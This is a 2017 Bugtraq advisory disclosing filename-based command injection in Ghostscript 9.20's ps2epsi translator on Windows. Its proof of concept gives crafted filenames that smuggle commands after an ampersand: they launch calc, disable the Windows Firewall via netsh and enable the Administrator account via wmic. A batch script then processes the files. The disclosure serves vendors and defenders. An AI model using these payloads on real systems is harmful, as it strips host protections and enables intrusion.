Ghostscript 9.20 Filename Command Execution

From: hyp3rlinx <apparitionsec@gmail.com>
To: bugtraq@securityfocus.com
Cc:
Subject: Ghostscript 9.20 Filename Command Execution
Date: Thu, 02 February 2017 06:02 GMT


[+]#################################################################################################
[+] Credits: John Page AKA hyp3rlinx   
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/GHOSTSCRIPT-FILENAME-COMMAND-EXECUTION.txt
[+] ISR: ApparitionSec            
[+]################################################################################################
 


Vendor:
===============
ghostscript.com



Product:
================
Ghostscript 9.20 
gs920w32.exe
Windows (32 bit)
hash: fee2cc1b8b467888a4ed44dd9f4567ed


Ghostscript is a suite of software based Postscript and PDF interpreter/renderers for file conversion.


Vulnerability Type:
==========================
Filename Command Execution 



CVE Reference:
==============
N/A



Security Issue:
================
The ghostscript ps2epsi translator to processes ".ps" files executes arbitrary commands from specially crafted filenames that contain
OS commands as part of the processed postscript files name. This feature seems to work only using the ps2epsi translator.
Other tested GS translator calls like 'ps2pdf' fail.

c:\>ps2epsi
"Usage: ps2epsi <infile.ps> <outfile.epi>"

Example, take a file "POC&<SYSTEM-COMMAND>;1.ps", it will run arbitrary Commands contained after the ampersand character "&".

If a user runs some automated script to call the ps2epsi translator to process ".ps" files from a remote share or directory
where actual filename is unknown, it can potentially allow attackers to execute arbitrary commands on victims machine.

Characters like "/", ":" are restricted in filenames, but we can abuse Windows netsh and wmic to bypass some of these barriers.

Quick Ghostscript CL test.
Create file called Test&calc.exe;1.ps

ps2epsi "Test&calc.exe;1.ps"  outfile

BOOM! calc.exe runs...


Exploit/POC:
=============
Add Ghostscript lib 'c:\Program Files (x86)\gs\gs9.20\lib' to Windows environmental Path, so we can easily call 'ps2epsi' GS CMD.

Create the following malicious ".ps" postscript files.

1) Turn of Windows Firewall
Test&netsh Advfirewall set allprofiles state off&;1.ps


2) Enable Windows Administrator account (using WMIC).
Test&wmic useraccount where name='administrator' set disabled='false'&;1.ps

If user don't have wmic on path, fix it for POC by set environmental system variable.
Add "C:\Windows\system32\wbem;" to 'Path' variable.

Run below bat script to process bunch of *.ps" files.

"POC.bat"

@echo off
rem ghostscript Filename Command Execution POC
rem by hyp3rlinx

for %%1 in ("*.ps") do; ps2epsi  "%%1" "evil.ps"


Severity:
=========
Medium



Disclosure Timeline:
===============================
Vendor Notification: No replies
February 2, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. 

hyp3rlinx





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